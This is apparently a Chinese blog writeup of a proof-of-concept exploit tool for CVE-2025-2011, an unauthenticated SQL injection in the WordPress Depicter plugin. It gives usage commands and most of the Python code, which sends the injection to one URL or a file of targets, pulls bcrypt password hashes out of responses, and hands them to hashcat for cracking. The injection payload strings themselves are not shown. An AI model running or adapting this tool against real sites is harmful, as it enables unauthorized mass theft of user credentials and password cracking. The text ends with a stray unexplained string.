CVE-2025-2011 漏洞利用工具:Depicter插件SQL注入检测与利用

35 阅读5分钟

项目标题与描述

这是一个针对CVE-2025-2011漏洞的专业检测与利用工具。该漏洞存在于WordPress插件Depicter(Slider & Popup Builder)的3.6.1及更早版本中,是一个未经身份验证的SQL注入漏洞。攻击者可以在无需任何权限的情况下,通过特制的请求从数据库中提取敏感信息,例如用户的bcrypt密码哈希。

项目提供了一个命令行工具,可以自动化地测试单个目标或目标列表,识别漏洞,提取潜在的用户密码哈希,并可选地调用Hashcat进行密码破解。

功能特性

  • 双重Payload利用:提供两种不同的SQL注入Payload,以应对不同的环境或过滤情况。
  • 批量目标扫描:支持通过文件输入的方式,批量对多个目标URL进行漏洞检测。
  • 自动哈希提取:利用正则表达式自动从HTTP响应中识别和提取bcrypt哈希值。
  • 集成密码破解:可与Hashcat无缝集成,自动将提取的哈希传递给Hashcat,使用rockyou.txt字典进行破解尝试(模式3200)。
  • 直观的视觉反馈:使用colorama库提供彩色的命令行输出,并在发送请求时显示动态的加载指示器。
  • 结果自动保存:所有测试的请求、状态码和响应片段都会自动保存到以目标主机名命名的日志文件中(例如 results_example.com.txt)。
  • 漏洞详情说明:项目文档包含了详细的漏洞卡片,涵盖CVE ID、发布时间、CVSS评分、影响范围等技术细节。

安装指南

  1. 前提条件

    • 确保系统已安装Python 3。
    • 确保已安装pip(Python包管理器)。
  2. 安装Python依赖: 运行以下命令安装项目所需的Python库。

    pip install requests colorama
    
  3. 可选工具安装(用于密码破解)

    • 如果需要使用密码破解功能,请确保系统已安装 Hashcat
    • 同时,需要准备密码字典文件(如rockyou.txt)。在Kali Linux等渗透测试发行版中,该字典通常位于/usr/share/wordlists/rockyou.txt
  4. 获取脚本

    • 将提供的Python脚本(例如 cve-2025-2011.py)保存到本地。
  5. 运行权限(可选):

    chmod +x cve-2025-2011.py
    

使用说明

基本用法

脚本提供两种指定目标的方式:

  • 测试单个目标:使用 -u--url 参数。
  • 测试目标列表:使用 -f--file 参数指定一个文本文件,该文件每行包含一个目标URL。

此外,可以使用 -p--payload 参数选择要使用的Payload(1 或 2)。

使用示例

  1. 对单个网站进行测试(使用默认Payload 1)

    python cve-2025-2011.py -u http://vulnerable-wordpress-site.com
    
  2. 对单个网站进行测试,并指定Payload 2

    python cve-2025-2011.py -u http://vulnerable-wordpress-site.com -p 2
    
  3. 批量测试文件targets.txt中列出的所有网站

    python cve-2025-2011.py -f targets.txt
    

工作流程

  1. 运行脚本后,会显示一个醒目的ASCII艺术横幅。
  2. 脚本会构建完整的漏洞利用URL。
  3. 发送HTTP GET请求时,会显示一个旋转的加载指示器。
  4. 请求完成后,会显示HTTP状态码和响应的前500个字符。
  5. 脚本会自动分析响应内容,尝试提取$2y$等格式的bcrypt哈希。
  6. 如果发现哈希,会提示用户是否要使用Hashcat进行破解。
  7. 无论是否发现哈希,详细的测试结果都会被保存到本地日志文件。

核心代码

以下是项目的核心代码模块,附有详细注释。

1. 主函数与参数解析

此部分是程序的入口,负责解析用户输入的参数(目标URL或文件、Payload选择)并调用相应的测试函数。

def main():
    print(BANNER) # 打印工具横幅
    parser = argparse.ArgumentParser(
        description=f"{Fore.CYAN}CVE-2025-2011 PoC by X3RX3S / Double Payload")
    # 创建互斥参数组,确保用户只能指定URL或文件中的一种
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument('-u', '--url', help='Target URL')
    group.add_argument('-f', '--file', help='File with list of target URLs (one per line)')
    # 添加Payload选择参数,默认为‘1’
    parser.add_argument('-p', '--payload', choices=['1', '2'], default='1',
                        help='Payload to use: 1 or 2 (default: 1)')
    args = parser.parse_args() # 解析命令行参数

    # 处理单个URL目标
    if args.url:
        test_sqli(args.url, args.payload)
    # 处理包含多个URL的文件
    if args.file:
        try:
            with open(args.file, 'r') as f:
                urls = [line.strip() for line in f if line.strip()]
                for url in urls:
                    test_sqli(url, args.payload)
        except FileNotFoundError:
            print(f"{Fore.RED}[-] Could not find file: {args.file}")
    print(f"\n{Fore.GREEN}[+] Done! Stay patched, stay safe!")

if __name__ == "__main__":
    main()

2. SQL注入测试与哈希提取函数

这是工具的核心功能函数,负责发送Payload、接收响应、提取哈希并提供后续破解选项。

def test_sqli(url, payload_choice):
    global spinner_running
    # 从URL中提取主机名,用于命名结果文件
    hostname = urlparse(url).hostname or 'unknown_host'
    log_file = f"results_{hostname}.txt"
    # 根据用户选择获取对应的Payload
    payload = PAYLOADS[payload_choice]
    # 构造完整的漏洞利用URL
    full_url = url.rstrip("/") + payload
    print(f"{Fore.YELLOW}\n[+] Target: {Fore.CYAN}{full_url}")

    # 启动一个线程显示加载动画
    spinner_running = True
    t = threading.Thread(target=spinner)
    t.start()

    try:
        # 发送HTTP GET请求,超时时间设置为10秒
        response = requests.get(full_url, timeout=10)
    except requests.RequestException as e:
        spinner_running = False
        t.join()
        print(f"{Fore.RED}\n[-] Request failed for {url}: {e}")
        return

    # 停止加载动画线程
    spinner_running = False
    t.join()

    # 输出请求结果
    print(f"\n{Fore.GREEN}[+] Status: {response.status_code}")
    snippet = response.text[:500]
    print(f"{Fore.MAGENTA}[+] Response snippet:\n{Style.RESET_ALL}{snippet}")

    # 将测试详情写入日志文件
    with open(log_file, 'w') as f:
        f.write(f"URL: {full_url}\n")
        f.write(f"Status: {response.status_code}\n")
        f.write("Response snippet:\n")
        f.write(snippet + "\n")
    print(f"{Fore.CYAN}[+] Results saved to {log_file}")

    # 从响应文本中提取bcrypt哈希
    hashes = extract_hashes(response.text)
    if hashes:
        print(f"{Fore.GREEN}[+] Found possible bcrypt hashes: {hashes}")
        # 询问用户是否要进行密码破解
        choice = input(f"{Fore.YELLOW}[?] Crack with Hashcat? (Y/N): ").strip().lower()
        if choice == 'y':
            run_hashcat(hashes)
        else:
            print(f"{Fore.CYAN}[+] Skipped Hashcat cracking.")
    else:
        print(f"{Fore.RED}[-] No bcrypt hashes detected in response.")

3. Hashcat集成破解函数

此函数负责将提取到的哈希值保存到文件,并调用外部Hashcat工具进行破解。

def run_hashcat(hashes):
    # 将所有找到的哈希写入临时文件`hashes.txt`
    with open('hashes.txt', 'w') as f:
        for h in hashes:
            f.write(h + '\n')
    print(f"{Fore.CYAN}[+] Saved hashes to hashes.txt")
    print(f"{Fore.YELLOW}[~] Running Hashcat with rockyou.txt for bcrypt (mode 3200)")

    # 构建Hashcat命令
    # -m 3200 指定破解模式为bcrypt
    cmd = ['hashcat', '-m', '3200', 'hashes.txt', '/usr/share/wordlists/rockyou.txt']
    try:
        # 执行Hashcat命令
        subprocess.run(cmd)
    except FileNotFoundError:
        # 处理Hashcat未安装或找不到的情况
        print(f"{Fore.RED}[-] Hashcat not found or not installed!")

6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAP+yich9kTj3ffkxy6bU0Vq